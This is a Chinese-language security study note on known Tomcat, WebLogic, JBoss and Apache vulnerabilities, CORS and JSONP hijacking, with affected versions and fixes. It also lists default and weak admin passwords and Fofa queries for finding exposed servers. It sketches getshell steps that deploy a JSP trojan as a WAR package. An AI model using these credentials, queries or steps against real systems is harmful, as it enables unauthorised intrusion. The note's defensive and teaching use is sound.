tomcat是一个开源而且免费的jsp服务器,默认端口 : 8080,属于轻量级应用服务器。它可以实现 JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。
¶CVE-2017-12615
Tomcat put方法任意文件写入漏洞
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求) , 攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传 jsp一句话文件,从而造成远程命令执行,getshell等。
影响范围
Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat 8.5.19
漏洞修复
设置readonly 为 true
¶后台弱口令部署war包
在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。
认密码:tomcat/tomcat
补充:
其他弱口令
admin:admin ADMIN:ADMIN admin:j5Brn9 admin:None admin:tomcat cxsdk:kdsxc j2deployer:j2deployer ovwebusr:OvW*busr1QCC:QLogic66 role:changethis role1:role1 role1:tomcat root:root tomcat:changethis tomcat:s3cret tomcat:tomcat tomcat:manager xampp:xampp
制作WAR包,将JSP木马压缩为ZIP格式,然后修改后缀为war就可以了。
¶CVE-2020-1938Tomcat文件包含漏洞
漏洞原理
由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所有
Webapp目录下的任意文件,例如:
可以读取webapp配置文件或源码文件。
此外如果目标应用有文件上传的功能情况下,配合为文件包含漏洞利用GetShell。
影响版本
Apache Tomcat 6
Tomcat 7系列 <7.0.100 Tomcat 8系列 < 8.5.51 Tomcat 9 系列 <9.0.31
漏洞修复
- 更新到最新版本
- 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。
- 配置ajp配置中的secretRequired跟secret属性来限制认证。
¶WebLogic
Fofa:
“weblogic”
app=“Oracle-WebLogic-Server-管理控制台”
app=“BEA-WebLogic-Server” || app=“Weblogic_interface_7001”
“WebLogic” && port=“7001” && title==“Error 404–Not Found”
¶Weblogic介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间 件,默认端口:7001 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
¶后台弱口令GetShell
默认账号密码:weblogic/Oracle@123
上传war包,jsp木马压缩成zip,修改后缀为war,上传,访问部署好的war用蚁剑直接连接。
¶CVE-2017-3506反序列化漏洞
漏洞描述
Weblogic的WLS Security组件对外提供了webserver服务,其中使用了XMLDecoder来解析用户输入的 XML数据,在解析过程中出现反序列化漏洞,可导致任意命令执行。
影响版本
受影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞修复
更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:
○ Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_interna l/wls-wsat
○ Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/w ls-wsat.war
- Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls- w sat/ 是否为404页面。
¶CVE-2019-2725
漏洞描述
wls9-async等组件为WebLogic Server提供异步通讯服务,默认应用于WebLogic部分版本。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。
影响版本
weblogic 10.x weblogic 12.1.3
漏洞修复
- 禁用bea_wls9_async_response组件;
- 删除wls9_async_response的war包并重启 ;
- 禁止访问 /_async/* 路径。
¶CVE-2018-2628
WebLogic T3协议反序列化命令执行漏洞(CVE-2018- 2628)
漏洞描述
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它 Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中,并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
漏洞影响
Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 Oracle WebLogic Server12.2.1.2.0 Oracle WebLogic Server12.2.1.3.0
漏洞修复
- 及时更新补丁 ;
- 禁用T3协议 ;
- 禁止T3端口对外开放,或者限制可访问T3端口的IP来源。
- 升级版本
¶CVE-2018-2894WebLogic文件任意上传漏洞
漏洞描述
Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 “生产模式” 下默认不开启,所以该漏洞有一定限制。
漏洞版本
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
¶CVE-2020-14882WebLogic远程代码执行漏洞
漏洞描述
CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证。
CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。
使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机
影响版本
Oracle Weblogic Server 10.3.6.0 Oracle Weblogic Server 12.1.3.0 Oracle Weblogic Server 12.2.1.3 Oracle Weblogic Server 12.2.1.4 Oracle Weblogic Server 14.1.1.0
¶Jboss
Fofa:
title=“Welcome to JBoss AS” && country!=“CN”
¶Jboss介绍
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得 JBoss广为流行。
¶CVE-2015-7501 Jboss JMXInvokerServlet 反序列化漏洞
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的 Gadget 执行任意代码
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1 JBoss Data Grid (JDG) 6.5.0 JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0 JBoss Fuse Service Works (FSW) 6.0.0 JBoss Enterprise Web Server (EWS) 2.1,3.0
¶CVE-2017-7504 JBossMQ JMS 反序列化漏洞
影响范围
JBoss 4.x 以及之前的所有版本
漏洞介绍
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的 HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行
¶CVE-2017-12149JBoss 5.x/6.x反序列化漏洞
漏洞简述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
漏洞范围
JBoss 5.x/6.x
¶Administration Console弱口令
漏洞描述
Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包 , getshell.
¶低版本JMX Console未授权
低版本JMX Console未授权访问Getshell
漏洞描述
此漏洞主要是由于 JBoss中/jmx-console/HtmlAdaptor 路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执行任何功能。
¶高版本JMX Console未授权
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面, 通过部署war包 , getshell
影响版本
Jboss6.x以下
¶Apache
¶CVE-2021-41773 Apache HTTP Server 路径穿越漏洞
漏洞简介
该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录 <Directory
允许被访问的的情况下(默认开启),攻击者可利用该路径穿
/>Require all granted
越漏洞读取到Web目录之外的其他文件
在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意cgi命令(RCE)
影响版本
Apache HTTP Server 2.4.49
某些Apache HTTPd 2.4.50也存在此漏洞
¶问题:
如何判断一个网站是Tomcat/Weblogic/Jboss框架?
tomcat:
- 默认端口 8080
- 浏览器的指纹识别插件
- 默认管理路由 /manage/html 4.server头 Apache Tomcat
weblogic:
- 浏览器插件
- 报错页面 Error 404–Not Found
- 默认管理页面路由 /console/login/LoginForm.jsp
- 7001端口
Jboss:
- 8080
- 浏览器识别插件
- 固定路由
/admin-console/
/jmx-console/
- title :Welcome to JBoss AS
Jsonp&Cors
¶同源策略
SOP,全称为同源策略 (Same Origin Policy),同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个 ip 地址,也非同源。
当一个请求url的协议、域名、端口三者之间任意一个与当前页面url不同即为跨域
如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。那么恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。
浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。
ps:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
1 | |
¶CORS
CORS(Cross-Origin Resource Sharing)跨域资源共享,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AX只能同源使用的 限制。
CORS的基本原理是:第三方网站生成访问控制策略,指定用户浏览器放宽SOP的限制,实现与指定的目标网站共享数据。
¶CORS跨域漏洞
介绍:因为同源策略的存在,不同源的客户端脚本不能访问目标站点的资源,如果目标站点CORS配置不当,没有对请求源的域做严格限制,导致任意源都可以访问时,就存在cors跨域漏洞问题。
原理:攻击者可以利用Web应用对用户请求数据包的Origin头校验不严格,诱骗受害者访问攻击者制作好的恶意网站,从而跨域获取受害者的敏感数据.
本质是服务器配置不当
即Access-Control-Allow-Origin取自请求头Orgin字段,Access-Contorl-Allow-Credentials设置为true。
1 | |
导致攻击者可以构造恶意的脚本,诱导用户点击获取用户敏感数据。
如果返回以下,可认为不存在漏洞,因为CORS安全机制阻止了这种情况下的漏洞利用。
1 | |
Access-Control-Allow-Origin:指定哪些外域可以访问本域资源;
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送Cookie。仅当设置为true
时,才会发送Cookie;默认是false
Access-Control-Allow-Headers:指定可以在请求报文中添加的HTTP头字段; Access-Control-Max-Age:指定超时时间;
¶CORS漏洞危害
攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取受害者的敏感信息。
¶CORS挖掘思路
CORS的漏洞主要看当我们发起的请求中带有Origin 头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin 的域访问。
¶JSONP
JSONP是JSON with padding(填充式JSON或参数式JSON)的简写,是基于JSON格式达的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用的script标签的src属性不受同源策略影响的特 性,来跨越获取数据。
简单来说:可以让网页从别的域名(网站)那获取资料,即跨域读取数据。
JSONP由两部分组成: 回调函数 、 数据
**回调函数 **是当响应来时,在页面中调用的函数。回调函数的名称一般是在请求中指定的。而数据就是传入回调函数中的JSON数据。
¶JSONP劫持漏洞
JSON劫持又称 “JSON Hijacking” 。当网站通过JSONP的方式来跨域传递用户认证后的敏感信息时,如果服务端对JSONP的请求来源校验不严格,那么攻击者可以构造恶意的JSONP调用页面,诱导被攻击者访问达到截取用户敏感信息的目的。
产生漏洞的原因: 网站没有对JSONP请求来源进行校验和过滤导致任意域都能够获取数据。
利用过程:寻找敏感 json 数据 api 接口,构造恶意的代码。 发送给用户,用户访问有恶意的页面,数据会被劫持发送到远程服务器。
¶JSONP的危害
攻击者构造恶意的html页面,利用链接诱导受害者进行点击,从而获取到受害者的敏感信息
¶JSONP漏洞挖掘思路
Google Hack语法
inurl:json inurl:callback= site:a.com inurl:json
Burp插件推荐
https://github.com/p1g3/JSONP-Hunter
¶防御方案
-
json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数 据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏 感的数据获取做权限认证;
-
严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等;
-
严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )
-
严格过滤 callback 函数名及 JSON 里数据的输出;
-
严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法);